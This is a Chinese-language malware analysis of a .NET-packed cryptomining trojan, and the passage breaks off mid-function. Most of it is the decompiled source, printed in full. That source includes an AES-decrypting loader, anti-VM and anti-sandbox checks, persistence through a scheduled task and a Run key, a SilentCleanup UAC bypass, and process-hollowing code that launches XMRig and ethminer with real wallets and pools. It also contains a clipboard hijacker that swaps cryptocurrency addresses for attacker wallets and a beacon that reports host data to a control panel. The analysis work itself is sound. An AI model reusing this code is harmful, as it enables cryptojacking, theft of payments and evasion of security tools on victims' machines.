一个.net加密壳的挖矿木马分析

样本md5：02B886B7B245F7CA52172F299D279A0F

问题：挖矿木马有时候可以启动，有时候起不来？WHY？逆向看看，结论：

foreach (Process process3 in Process.GetProcesses())
                   {
                       if (process3.ProcessName.ToLower() == "taskmgr" || process3.ProcessName.ToLower() == "processhacker" || process3.ProcessName.ToLower() == "Диспетчер задач" || process3.ProcessName.ToLower() == "procexp")
                       {
                           Environment.Exit(0);
                       }
                   }　

原来是开启了任务管理器或者processhacker之类的！

接下来是过程：

先看下其执行的函数主体：

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

using System;
using System.IO;
using System.Reflection;
using System.Security.Cryptography;
using System.Text.RegularExpressions;
using Class3;
 
namespace Systemwindows
{
    // Token: 0x02000002 RID: 2
    internal class System
    {
        // Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
        private static void Main(string[] args)
        {
            try
            {
                new DADSAOKQW8URHASQWE().Run();
            }
            catch
            {
            }
            try
            {
                System.Udussdusdu();
            }
            catch
            {
            }
        }
 
        // Token: 0x06000002 RID: 2 RVA: 0x00002094 File Offset: 0x00000294
        public static string Dsydadaydas()
        {
            return File.ReadAllText(Assembly.GetEntryAssembly().Location);
        }
 
        // Token: 0x06000003 RID: 3 RVA: 0x000020A5 File Offset: 0x000002A5
        private byte[] vsaJ8m2E()
        {
            if ("{1211-222-001-002}".Length <= 0)
            {
                return new byte[]
                {
                    1,
                    2
                };
            }
            return new byte[]
            {
                1,
                2
            };
        }
 
        // Token: 0x06000004 RID: 4 RVA: 0x000020D1 File Offset: 0x000002D1
        public static string VtRxeDjqPXmq()
        {
            return new Regex("polderhelitcer.*polderhelitcer").Matches(System.Dsydadaydas())[0].Value.Replace("polderhelitcer", "");
        }
 
        // Token: 0x06000005 RID: 5 RVA: 0x00002101 File Offset: 0x00000301
        private byte[] JBbaqw1132dndGL()
        {
            if ("{111-22222-0001-0001}".Length <= 0)
            {
                return new byte[]
                {
                    1,
                    2
                };
            }
            return new byte[]
            {
                1,
                2
            };
        }
 
        // Token: 0x06000006 RID: 6 RVA: 0x0000212D File Offset: 0x0000032D
        public static string DjqPXmq()
        {
            return Regex.Split(System.Dsydadaydas(), "polderhelitcer")[2];
        }
 
        // Token: 0x06000007 RID: 7 RVA: 0x00002140 File Offset: 0x00000340
        private byte[] Hpuodaqds9Ksaw2wB()
        {
            if ("{21141`11-2222-2008421-00001}".Length <= 0)
            {
                return new byte[]
                {
                    1,
                    2
                };
            }
            return new byte[]
            {
                1,
                2
            };
        }
 
        // Token: 0x06000008 RID: 8 RVA: 0x0000216C File Offset: 0x0000036C
        public static void Udussdusdu()
        {
            Assembly.Load(System.Decrypt(Convert.FromBase64String(System.DjqPXmq()), System.VtRxeDjqPXmq())).EntryPoint.Invoke(null, new object[]
            {
                new string[0]
            });
        }
 
        // Token: 0x06000009 RID: 9 RVA: 0x000021A4 File Offset: 0x000003A4
        public static byte[] Decrypt(byte[] input, string key)
        {
            PasswordDeriveBytes passwordDeriveBytes = new PasswordDeriveBytes(key, new byte[]
            {
                67,
                135,
                35,
                114
            });
            MemoryStream memoryStream = new MemoryStream();
            Aes aes = new AesManaged();
            aes.Key = passwordDeriveBytes.GetBytes(aes.KeySize / 8);
            aes.IV = passwordDeriveBytes.GetBytes(aes.BlockSize / 8);
            CryptoStream cryptoStream = new CryptoStream(memoryStream, aes.CreateDecryptor(), CryptoStreamMode.Write);
            cryptoStream.Write(input, 0, input.Length);
            cryptoStream.Close();
            return memoryStream.ToArray();
        }
    }
}

可以确定是在执行加密的.net PE文件。　　

看下这个函数实现：

1	`new DADSAOKQW8URHASQWE().Run();<br><br>`

using System;
using System.Management;
using System.Runtime.InteropServices;
 
namespace Class3
{
    // Token: 0x02000004 RID: 4
    public class DADSAOKQW8URHASQWE
    {
        // Token: 0x0600000C RID: 12 RVA: 0x00002230 File Offset: 0x00000430
        public static bool LOWDARAS()
        {
            foreach (ManagementBaseObject managementBaseObject in new ManagementObjectSearcher("Select * from Win32_ComputerSystem").Get())
            {
                string text = managementBaseObject["Manufacturer"].ToString().ToLower();
                if (text.Contains("microsoft corporation") || text.Contains("vmware")) //检测虚拟机运行
                {
                    return true;
                }
                if (managementBaseObject["Model"] != null)
                {
                    string text2 = managementBaseObject["Model"].ToString().ToLower();
                    if (text2.Contains("microsoft corporation") || text2.Contains("vmware"))
                    {
                        return true;
                    }
                }
            }
            return false;
        }
 
        // Token: 0x0600000D RID: 13 RVA: 0x00002300 File Offset: 0x00000500
        public static bool OIOQR0SASR()
        {
            bool result;
            try
            {
                if (DADSAOKQW8URHASQWE.IASDIJSAIJWEW("SbieDll.dll").ToInt32() != 0)
                {
                    result = true;
                }
                else
                {
                    result = false;
                }
            }
            catch
            {
                result = false;
            }
            return result;
        }
 
        // Token: 0x0600000E RID: 14 RVA: 0x00002340 File Offset: 0x00000540
        public void Dytp()
        {
            try
            {
                Environment.Exit(0); // 如果是虚拟机环境运行 则直接退出
            }
            catch
            {
            }
        }
 
        // Token: 0x0600000F RID: 15
        [DllImport("kernel32.dll")]
        public static extern IntPtr IASDIJSAIJWEW(string lpModuleName);
 
        // Token: 0x06000010 RID: 16 RVA: 0x00002368 File Offset: 0x00000568
        public void Run()
        {
            try
            {
                if (DADSAOKQW8URHASQWE.LOWDARAS())
                {
                    this.Dytp();
                }
                if (DADSAOKQW8URHASQWE.OIOQR0SASR())
                {
                    this.Dytp();
                }
            }
            catch
            {
            }
        }
    }
}

可以看到，其会检测虚拟机环境，如果是vmvare的，则直接退出了！

动态调试，直接修改"text"，“text2”变量，让其不包含vmvare！继续往下运行：

private static void Main(string[] args)
        {
            try
            {
                new DADSAOKQW8URHASQWE().Run();
            }
            catch
            {
            }
            try
            {
                System.Udussdusdu(); //到这个函数
            }
            catch
            {
            }
        }
 
     // 上述函数的具体实现
// Token: 0x06000008 RID: 8 RVA: 0x0000216C File Offset: 0x0000216C
        public static void Udussdusdu()
        {
            Assembly.Load(System.Decrypt(Convert.FromBase64String(System.DjqPXmq()), System.VtRxeDjqPXmq())).EntryPoint.Invoke(null, new object[]
            {
                new string[0]
            });
        }

可以看到是直接运行解密的.net PE数据！解密的key：

用的是AES解密：

public static byte[] Decrypt(byte[] input, string key)
        {
            PasswordDeriveBytes passwordDeriveBytes = new PasswordDeriveBytes(key, new byte[]
            {
                67,
                135,
                35,
                114
            });
            MemoryStream memoryStream = new MemoryStream();
            Aes aes = new AesManaged();
            aes.Key = passwordDeriveBytes.GetBytes(aes.KeySize / 8);
            aes.IV = passwordDeriveBytes.GetBytes(aes.BlockSize / 8);
            CryptoStream cryptoStream = new CryptoStream(memoryStream, aes.CreateDecryptor(), CryptoStreamMode.Write);
            cryptoStream.Write(input, 0, input.Length);
            cryptoStream.Close();
            return memoryStream.ToArray();
        }

然后将解密的数据保存为PE文件：

然后继续打开该PE文件，可以看到完整的挖矿源码了：

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

247

248

249

250

251

252

253

254

255

256

257

258

259

260

261

262

263

264

265

266

267

268

269

270

271

272

273

274

275

276

277

278

279

280

281

282

283

284

285

286

287

288

289

290

291

292

293

294

295

296

297

298

299

300

301

302

303

304

305

306

307

308

309

310

311

312

313

314

315

316

317

318

319

320

321

322

323

324

325

326

327

328

329

330

331

332

333

334

335

336

337

338

339

340

341

342

343

344

345

346

347

348

349

350

351

352

353

354

355

356

357

358

359

360

361

362

363

364

365

366

367

368

369

370

371

372

373

374

375

376

377

378

379

380

381

382

383

384

385

386

387

388

389

390

391

392

393

394

395

396

397

398

399

400

401

402

403

404

405

406

407

408

409

410

411

412

413

414

415

416

417

418

419

420

421

422

423

424

425

426

427

428

429

430

431

432

433

434

435

436

437

438

439

440

441

442

443

444

445

446

447

448

449

450

451

452

453

454

455

456

457

458

459

460

461

462

463

464

465

466

467

468

469

470

471

472

473

474

475

476

477

478

479

480

481

482

483

484

485

486

487

488

489

490

491

492

493

494

495

496

497

498

499

500

501

502

503

504

505

506

507

508

509

510

511

512

513

514

515

516

517

518

519

520

521

522

523

524

525

526

527

528

529

530

531

532

533

534

535

536

537

538

539

540

541

542

543

544

545

546

547

548

549

550

551

552

553

554

555

556

557

558

559

560

561

562

563

564

565

566

567

568

569

570

571

572

573

574

575

576

577

578

579

580

581

582

583

584

585

586

587

588

589

590

591

592

593

594

595

using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.IO.Compression;
using System.Management;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading;
using System.Windows.Forms;
using Microsoft.Win32;
using MinerAns;
using VolVeRFINAL.Properties;
 
namespace VolVeRFINAL
{
    // Token: 0x02000002 RID: 2
    internal class Program
    {
        // Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
        public static bool UMutexAC()
        {
            bool flag;
            Program.curderApp = new Mutex(false, config.mutex, ref flag);
            try
            {
                if (flag)
                {
                    Thread.Sleep(2000);
                }
            }
            catch
            {
            }
            return flag;
        }
 
        // Token: 0x06000002 RID: 2 RVA: 0x00002094 File Offset: 0x00000294
        public static void Defolt()
        {
            while (!new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator))
            {
                ProcessStartInfo processStartInfo = new ProcessStartInfo();
                processStartInfo.FileName = "cmd.exe";
                processStartInfo.UseShellExecute = true;
                processStartInfo.Verb = "runas";
                processStartInfo.Arguments = "/k START \"\" \"" + Assembly.GetEntryAssembly().Location + "\" & EXIT";
                try
                {
                    Process.Start(processStartInfo);
                    Environment.Exit(0);
                }
                catch (Exception)
                {
                }
            }
        }
 
        // Token: 0x06000003 RID: 3 RVA: 0x00002120 File Offset: 0x00000320
        private static void Main(string[] args)
        {
            try
            {
                if (File.Exists(config.folder + "\\" + config.FileName))
                {
                    File.Delete(config.folder + "\\" + config.FileName);
                }
                if (!Directory.Exists(config.folder))
                {
                    Directory.CreateDirectory(config.folder);
                }
                if (!File.Exists(config.folder + "\\" + config.FileName))
                {
                    File.Copy(Assembly.GetEntryAssembly().Location, config.folder + "\\" + config.FileName);
                }
            }
            catch
            {
            }
            try
            {
                Program.UMutexAC();
            }
            catch
            {
            }
            if (!new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator))
            {
                try
                {
                    ProcessStartInfo startInfo = new ProcessStartInfo
                    {
                        FileName = "schtasks.exe",
                        CreateNoWindow = false,
                        WindowStyle = ProcessWindowStyle.Hidden,
                        Arguments = string.Concat(new string[]
                        {
                            "/create /sc MINUTE /mo 3 /tn \"MicrosoftEdgeUpdate\" /tr \"",
                            config.folder,
                            "\\",
                            config.FileName,
                            "\" /f"
                        })
                    };
                    Process.Start(startInfo);
                    goto IL_180;
                }
                catch
                {
                    goto IL_180;
                }
            }
            try
            {
                Program.Powershell(string.Concat(new string[]
                {
                    "Remove-ItemProperty -Path 'HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run' -Name '",
                    config.RegName,
                    "';New-ItemProperty -Path 'HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run' -Name '",
                    config.RegName,
                    "' -Value '\"",
                    Path.Combine(config.folder, config.FileName),
                    "\"' -PropertyType 'String'"
                }));
            }
            catch
            {
            }
            IL_180:
            if (config.antiSandbox == "true")
            {
                try
                {
                    if (Analysis.isVirtualMachine())
                    {
                        Environment.Exit(0);
                    }
                }
                catch (Exception)
                {
                }
            }
            if (config.antiDebugger == "true")
            {
                try
                {
                    if (Analysis.DetectSandboxie())
                    {
                        Environment.Exit(0);
                    }
                }
                catch (Exception)
                {
                }
            }
            if (config.forceUAC == "true")
            {
                try
                {
                    Program.Defolt();
                }
                catch (Exception)
                {
                }
            }
            int num = 0;
            ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("select AdapterRAM from Win32_VideoController");
            foreach (ManagementBaseObject managementBaseObject in managementObjectSearcher.Get())
            {
                ManagementObject managementObject = (ManagementObject)managementBaseObject;
                uint? num2 = managementObject.Properties["AdapterRAM"].Value as uint?;
                if (num2 != null)
                {
                    num = (int)(num2 / 1048576U).Value;
                }
            }
            int num3 = num / 1024;
            byte[] payloadBuffer = new byte[0];
            byte[] payloadBuffer2 = new byte[0];
            using (MemoryStream memoryStream = new MemoryStream(Resources.xmrig))
            {
                using (ZipArchive zipArchive = new ZipArchive(memoryStream))
                {
                    foreach (ZipArchiveEntry zipArchiveEntry in zipArchive.Entries)
                    {
                        using (MemoryStream memoryStream2 = new MemoryStream())
                        {
                            zipArchiveEntry.Open().CopyTo(memoryStream2);
                            payloadBuffer = memoryStream2.ToArray();
                        }
                    }
                }
            }
            using (MemoryStream memoryStream3 = new MemoryStream(Resources.ethminer))
            {
                using (ZipArchive zipArchive2 = new ZipArchive(memoryStream3))
                {
                    foreach (ZipArchiveEntry zipArchiveEntry2 in zipArchive2.Entries)
                    {
                        using (MemoryStream memoryStream4 = new MemoryStream())
                        {
                            zipArchiveEntry2.Open().CopyTo(memoryStream4);
                            payloadBuffer2 = memoryStream4.ToArray();
                        }
                    }
                }
            }
            if (config.dwudauiadjws == "true")
            {
                try
                {
                    File.WriteAllBytes(config.folder + "\\opersystem.exe", Resources.iqdisakwe);
                    new Process
                    {
                        StartInfo = 
                        {
                            FileName = config.folder + "\\opersystem.exe"
                        }
                    }.Start();
                    File.SetAttributes(config.folder + "\\opersystem.exe", FileAttributes.Hidden);
                }
                catch
                {
                }
            }
            List<string> list = new List<string>();
            list.Add("mmc");
            list.Add("ProcessHacker");
            list.Add("Taskmgr");
            list.Add("Диспетчер задач");
            string args2 = string.Concat(new string[]
            {
                "--algo rx/0 --donate-level 0   --max-cpu-usage ",
                config.moneroUsage,
                " -o",
                config.moneroPool,
                " -u ",
                config.moneroWallet
            });
            string args3 = string.Concat(new string[]
            {
                "-P stratum1+tcp://",
                config.etcWallet,
                ".",
                config.etcWorker,
                "@",
                config.etcPool
            });
            string args4 = string.Concat(new string[]
            {
                "-P stratum1+tcp://",
                config.ethWallet,
                ".",
                config.ethWorker,
                "@",
                config.ethPool
            });
            string fileNameWithoutExtension = Path.GetFileNameWithoutExtension("C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\AddInUtil.exe");
            string fileNameWithoutExtension2 = Path.GetFileNameWithoutExtension("C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe");
            if (num3 > 4)
            {
                try
                {
                    Program.PE.Run(payloadBuffer2, "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe", args3);
                    goto IL_577;
                }
                catch
                {
                    goto IL_577;
                }
            }
            if (num3 > 8)
            {
                try
                {
                    Program.PE.Run(payloadBuffer2, "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe", args4);
                }
                catch
                {
                }
            }
            try
            {
                IL_577:
                Program.PE.Run(payloadBuffer, "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\AddInUtil.exe", args2);
            }
            catch
            {
            }
            if (config.WebPanel == "true")
            {
                try
                {
                    Host.getTasks();
                }
                catch
                {
                }
            }
            if (config.bypassUAC == "owdoaodsoa")
            {
                try
                {
                    if (!new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator))
                    {
                        Program.UAC();
                        Environment.Exit(0);
                    }
                }
                catch (Exception)
                {
                }
            }
            for (;;)
            {
                foreach (string processName in list)
                {
                    Process[] processesByName = Process.GetProcessesByName(processName);
                    while (processesByName.Length != 0)
                    {
                        foreach (Process process in Process.GetProcessesByName(fileNameWithoutExtension))
                        {
                            try
                            {
                                process.Kill();
                            }
                            catch
                            {
                            }
                        }
                        foreach (Process process2 in Process.GetProcessesByName(fileNameWithoutExtension2))
                        {
                            try
                            {
                                process2.Kill();
                            }
                            catch
                            {
                            }
                        }
                        processesByName = Process.GetProcessesByName(processName);
                    }
                }
                try
                {
                    foreach (Process process3 in Process.GetProcesses())
                    {
                        if (process3.ProcessName.ToLower() == "taskmgr" || process3.ProcessName.ToLower() == "processhacker" || process3.ProcessName.ToLower() == "Диспетчер задач" || process3.ProcessName.ToLower() == "procexp")
                        {
                            Environment.Exit(0);
                        }
                    }
                    Thread.Sleep(7000);
                }
                catch
                {
                }
                if (config.Hipper == "true")
                {
                    string text = "bc1qptp78yqeu7cagwaewnf0n4u8wh7ynwvadq2xux";
                    string text2 = "0x5B2e5aB2f0bb903c5aB3Efc4958fE4AA48ceed24";
                    string text3 = "47jTRtaRQkBapSUtTUNXfzDQC8gJSsqPR3Af78RizkxSdzB5YXwir8b2pC226t6tqRD18acVK2oqJWws5SP7TM1iGzEN7vL";
                    try
                    {
                        Thread.Sleep(500);
                        string text4 = Program.Clipboard.GetText();
                        if (new Regex("^3[a-km-zA-HJ-NP-Z1-9]{25,34}$+").IsMatch(text4))
                        {
                            Program.Clipboard.SetText(text);
                        }
                        if (new Regex("^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}$").IsMatch(text4))
                        {
                            Program.Clipboard.SetText(text);
                        }
                        if (new Regex("^0x[a-fA-F0-9]{40}$").IsMatch(text4))
                        {
                            Program.Clipboard.SetText(text2);
                        }
                        if (new Regex("(?:^4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}$)").IsMatch(text4))
                        {
                            Program.Clipboard.SetText(text3);
                        }
                    }
                    catch (Exception)
                    {
                    }
                }
            }
        }
 
        // Token: 0x06000004 RID: 4 RVA: 0x00002B84 File Offset: 0x00000D84
        public static void Powershell(string args)
        {
            ProcessStartInfo startInfo = new ProcessStartInfo
            {
                FileName = "powershell.exe",
                Arguments = args,
                WindowStyle = ProcessWindowStyle.Hidden,
                CreateNoWindow = true,
                UseShellExecute = false
            };
            Process.Start(startInfo);
        }
 
        // Token: 0x06000005 RID: 5 RVA: 0x00002BC8 File Offset: 0x00000DC8
        public static void UAC()
        {
            string text = Assembly.GetExecutingAssembly().Location + " && REM";
            new Program.AlwaysNotify();
            if (!text.Contains("REM"))
            {
                Environment.Exit(1);
            }
            RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Environment", true);
            registryKey.SetValue("windir", text);
            new Process
            {
                StartInfo = 
                {
                    WindowStyle = ProcessWindowStyle.Hidden,
                    FileName = "C:\\windows\\system32\\schtasks.exe",
                    Arguments = "/Run /TN \\Microsoft\\Windows\\DiskCleanup\\SilentCleanup /I"
                }
            }.Start();
            Thread.Sleep(2000);
            registryKey.DeleteValue("windir");
        }
 
        // Token: 0x04000001 RID: 1
        public static Mutex curderApp;
 
        // Token: 0x02000003 RID: 3
        public class AlwaysNotify
        {
            // Token: 0x06000007 RID: 7 RVA: 0x00002C78 File Offset: 0x00000E78
            public AlwaysNotify()
            {
                RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System");
                string a = registryKey.GetValue(Encoding.Default.GetString(Convert.FromBase64String("Q29uc2VudFByb21wdEJlaGF2aW9yQWRtaW4="))).ToString();
                string a2 = registryKey.GetValue(Encoding.Default.GetString(Convert.FromBase64String("UHJvbXB0T25TZWN1cmVEZXNrdG9w"))).ToString();
                registryKey.Close();
                if (!(a == "2" & a2 == "1"))
                {
                    return;
                }
                Environment.Exit(1);
            }
        }
 
        // Token: 0x02000004 RID: 4
        public static class Clipboard
        {
            // Token: 0x06000008 RID: 8 RVA: 0x00002D18 File Offset: 0x00000F18
            public static string GetText()
            {
                string Return = string.Empty;
                Thread thread = new Thread(delegate()
                {
                    Return = System.Windows.Forms.Clipboard.GetText();
                });
                thread.SetApartmentState(ApartmentState.STA);
                thread.Start();
                thread.Join();
                return Return;
            }
 
            // Token: 0x06000009 RID: 9 RVA: 0x00002D78 File Offset: 0x00000F78
            public static void SetText(string txt)
            {
                Thread thread = new Thread(delegate()
                {
                    System.Windows.Forms.Clipboard.SetText(txt);
                });
                thread.SetApartmentState(ApartmentState.STA);
                thread.Start();
                thread.Join();
            }
        }
 
        // Token: 0x02000005 RID: 5
        public static class PE
        {
            // Token: 0x0600000A RID: 10
            [DllImport("kernel32.dll")]
            private unsafe static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, Program.PE.StartupInfo* lpStartupInfo, byte[] lpProcessInfo);
 
            // Token: 0x0600000B RID: 11
            [DllImport("kernel32.dll")]
            private static extern long VirtualAllocEx(long hProcess, long lpAddress, long dwSize, uint flAllocationType, uint flProtect);
 
            // Token: 0x0600000C RID: 12
            [DllImport("kernel32.dll")]
            private static extern long WriteProcessMemory(long hProcess, long lpBaseAddress, byte[] lpBuffer, int nSize, long written);
 
            // Token: 0x0600000D RID: 13
            [DllImport("ntdll.dll")]
            private static extern uint ZwUnmapViewOfSection(long ProcessHandle, long BaseAddress);
 
            // Token: 0x0600000E RID: 14
            [DllImport("kernel32.dll")]
            private static extern bool SetThreadContext(long hThread, IntPtr lpContext);
 
            // Token: 0x0600000F RID: 15
            [DllImport("kernel32.dll")]
            private static extern bool GetThreadContext(long hThread, IntPtr lpContext);
 
            // Token: 0x06000010 RID: 16
            [DllImport("kernel32.dll")]
            private static extern uint ResumeThread(long hThread);
 
            // Token: 0x06000011 RID: 17
            [DllImport("kernel32.dll")]
            private static extern bool CloseHandle(long handle);
 
            // Token: 0x06000012 RID: 18 RVA: 0x00002DB8 File Offset: 0x00000FB8
            public unsafe static void Run(byte[] payloadBuffer, string host, string args)
            {
                int num = Marshal.ReadInt32(payloadBuffer, 60);
                int num2 = Marshal.ReadInt32(payloadBuffer, num + 24 + 56);
                int nSize = Marshal.ReadInt32(payloadBuffer, num + 24 + 60);
                int num3 = Marshal.ReadInt32(payloadBuffer, num + 24 + 16);
                short num4 = Marshal.ReadInt16(payloadBuffer, num + 4 + 2);
                short num5 = Marshal.ReadInt16(payloadBuffer, num + 4 + 16);
                long num6 = Marshal.ReadInt64(payloadBuffer, num + 24 + 24);
                Program.PE.StartupInfo structure = default(Program.PE.StartupInfo);
                structure.cb = (uint)Marshal.SizeOf<Program.PE.StartupInfo>(structure);
                structure.wShowWindow = 0;
                structure.dwFlags = 1U;
                byte[] array = new byte[24];
                IntPtr intPtr = Marshal.AllocHGlobal(77);
                string text = host;
                if (!string.IsNullOrEmpty(args))
                {
                    text = text + " " + args;
                }
                string currentDirectory = Directory.GetCurrentDirectory();
                Marshal.WriteInt32(intPtr, 48, 1048603);
                Program.PE.CreateProcess(null, text, IntPtr.Zero, IntPtr.Zero, true, 4U, IntPtr.Zero, currentDirectory, &structure, array);
                long num7 = Marshal.ReadInt64(array, 0);
                long num8 = Marshal.ReadInt64(array, 8);
                Program.PE.ZwUnmapViewOfSection(num7, num6);
                Program.PE.VirtualAllocEx(num7, num6, (long)num2, 12288U, 64U);
                Program.PE.WriteProcessMemory(num7, num6, payloadBuffer, nSize, 0L);
                for (short num9 = 0; num9 < num4; num9 += 1)
                {
                    byte[] array2 = new byte[40];
                    Buffer.BlockCopy(payloadBuffer, num + (int)(24 + num5) + (int)(40 * num9), array2, 0, 40);
                    int num10 = Marshal.ReadInt32(array2, 12);
                    int num11 = Marshal.ReadInt32(array2, 16);
                    int srcOffset = Marshal.ReadInt32(array2, 20);
                    byte[] array3 = new byte[num11];
                    Buffer.BlockCopy(payloadBuffer, srcOffset, array3, 0, array3.Length);
                    Program.PE.WriteProcessMemory(num7, num6 + (long)num10, array3, array3.Length, 0L);
                }
                Program.PE.GetThreadContext(num8, intPtr);
                byte[] bytes = BitConverter.GetBytes(num6);
                long num12 = Marshal.ReadInt64(intPtr, 136);
                Program.PE.WriteProcessMemory(num7, num12 + 16L, bytes, 8, 0L);
                Marshal.WriteInt64(intPtr, 128, num6 + (long)num3);
                Program.PE.SetThreadContext(num8, intPtr);
                Program.PE.ResumeThread(num8);
                Marshal.FreeHGlobal(intPtr);
                Program.PE.CloseHandle(num7);
                Program.PE.CloseHandle(num8);
            }
 
            // Token: 0x06000013 RID: 19 RVA: 0x00002FDC File Offset: 0x000011DC
            private static IntPtr Align(IntPtr source, int alignment)
            {
                long num = source.ToInt64() + (long)(alignment - 1);
                return new IntPtr((long)alignment * (num / (long)alignment));
            }
 
            // Token: 0x02000006 RID: 6
            [StructLayout(LayoutKind.Explicit, Size = 104)]
            public struct StartupInfo
            {
                // Token: 0x04000002 RID: 2
                [FieldOffset(0)]
                public uint cb;
 
                // Token: 0x04000003 RID: 3
                [FieldOffset(60)]
                public uint dwFlags;
 
                // Token: 0x04000004 RID: 4
                [FieldOffset(64)]
                public ushort wShowWindow;
            }
        }
    }
}

另外一个配置类和Host类：

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

using System;
 
namespace VolVeRFINAL
{
    // Token: 0x02000007 RID: 7
    internal class config
    {
        // Token: 0x04000005 RID: 5
        public static string moneroUsage = "25";
 
        // Token: 0x04000006 RID: 6
        public static string moneroWallet = "8BEkM3VeZHUQgFevjUBjpYKHKtfbMS9xKMEnWezdD2Rp4BAcsASXFPV6sWYbDU3N1jgPcERvcqUSfLtD6EQiR3AtB2LGDjj";
 
        // Token: 0x04000007 RID: 7
        public static string moneroPool = "pool.hashvault.pro:80";
 
        // Token: 0x04000008 RID: 8
        public static string etcWallet = "0x5a285Cddf2057ffe8b78E2904e2939271C94a957";
 
        // Token: 0x04000009 RID: 9
        public static string etcPool = "etc.2miners.com:1010";
 
        // Token: 0x0400000A RID: 10
        public static string ethWallet = "0xac956d72ef62ead6cadcbce4338ed56fc39f2976";
 
        // Token: 0x0400000B RID: 11
        public static string ethPool = "eth.2miners.com:2020";
 
        // Token: 0x0400000C RID: 12
        public static string ethWorker = "ethrig";
 
        // Token: 0x0400000D RID: 13
        public static string etcWorker = "etcrig";
 
        // Token: 0x0400000E RID: 14
        public static string mutex = "ZZIOREUEZCTVTVVMOS";
 
        // Token: 0x0400000F RID: 15
        public static string folder = Environment.GetEnvironmentVariable("AppData") + "\\Windows";
 
        // Token: 0x04000010 RID: 16
        public static string FileName = "winupdate.exe";
 
        // Token: 0x04000011 RID: 17
        public static string RegName = "winupdate";
 
        // Token: 0x04000012 RID: 18
        public static string bypassUAC = "true";
 
        // Token: 0x04000013 RID: 19
        public static string antiSandbox = "true";
 
        // Token: 0x04000014 RID: 20
        public static string antiDebugger = "true";
 
        // Token: 0x04000015 RID: 21
        public static string forceUAC = "forceder";
 
        // Token: 0x04000016 RID: 22
        public static string Hipper = "true";
 
        // Token: 0x04000017 RID: 23
        public static string WebPanel = "true";
 
        // Token: 0x04000018 RID: 24
        public static string dwudauiadjws = "true";
    }
}
 
 
 
using System;
using System.IO;
using System.Management;
using System.Net;
using System.Security.Principal;
 
namespace VolVeRFINAL
{
    // Token: 0x0200000A RID: 10
    internal class Host
    {
        // Token: 0x06000022 RID: 34 RVA: 0x000032D8 File Offset: 0x000014D8
        public static string get(string url)
        {
            string result;
            try
            {
                WebRequest webRequest = WebRequest.Create(url);
                webRequest.Credentials = CredentialCache.DefaultCredentials;
                ((HttpWebRequest)webRequest).UserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0";
                StreamReader streamReader = new StreamReader(webRequest.GetResponse().GetResponseStream());
                result = streamReader.ReadToEnd();
            }
            catch
            {
                result = null;
            }
            return result;
        }
 
        // Token: 0x06000023 RID: 35 RVA: 0x00003338 File Offset: 0x00001538
        public static string[] getTasks()
        {
            int num = 0;
            ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("select AdapterRAM from Win32_VideoController");
            foreach (ManagementBaseObject managementBaseObject in managementObjectSearcher.Get())
            {
                ManagementObject managementObject = (ManagementObject)managementBaseObject;
                uint? num2 = managementObject.Properties["AdapterRAM"].Value as uint?;
                if (num2 != null)
                {
                    num = (int)(num2 / 1048576U).Value;
                }
            }
            int num3 = num / 1024;
            string text = "";
            using (ManagementObjectSearcher managementObjectSearcher2 = new ManagementObjectSearcher("select * from Win32_VideoController"))
            {
                foreach (ManagementBaseObject managementBaseObject2 in managementObjectSearcher2.Get())
                {
                    ManagementObject managementObject2 = (ManagementObject)managementBaseObject2;
                    text = text + managementObject2["Name"].ToString() + "; ";
                }
            }
            string text2 = "";
            if (num3 > 4)
            {
                text2 = " | ETC";
            }
            if (num3 > 8)
            {
                text2 = " | ETH";
            }
            string[] array = Host.get(string.Concat(new object[]
            {
                Host.adm,
                "?hwid=",
                WindowsIdentity.GetCurrent().Name,
                "&gpuname=",
                text,
                "&mining=",
                num3,
                "&active=XMR",
                text2
            })).Split(new char[]
            {
                '|'
            });
            string[] array2 = new string[array.Length];
            int num4 = 0;
            foreach (string text3 in array)
            {
                try
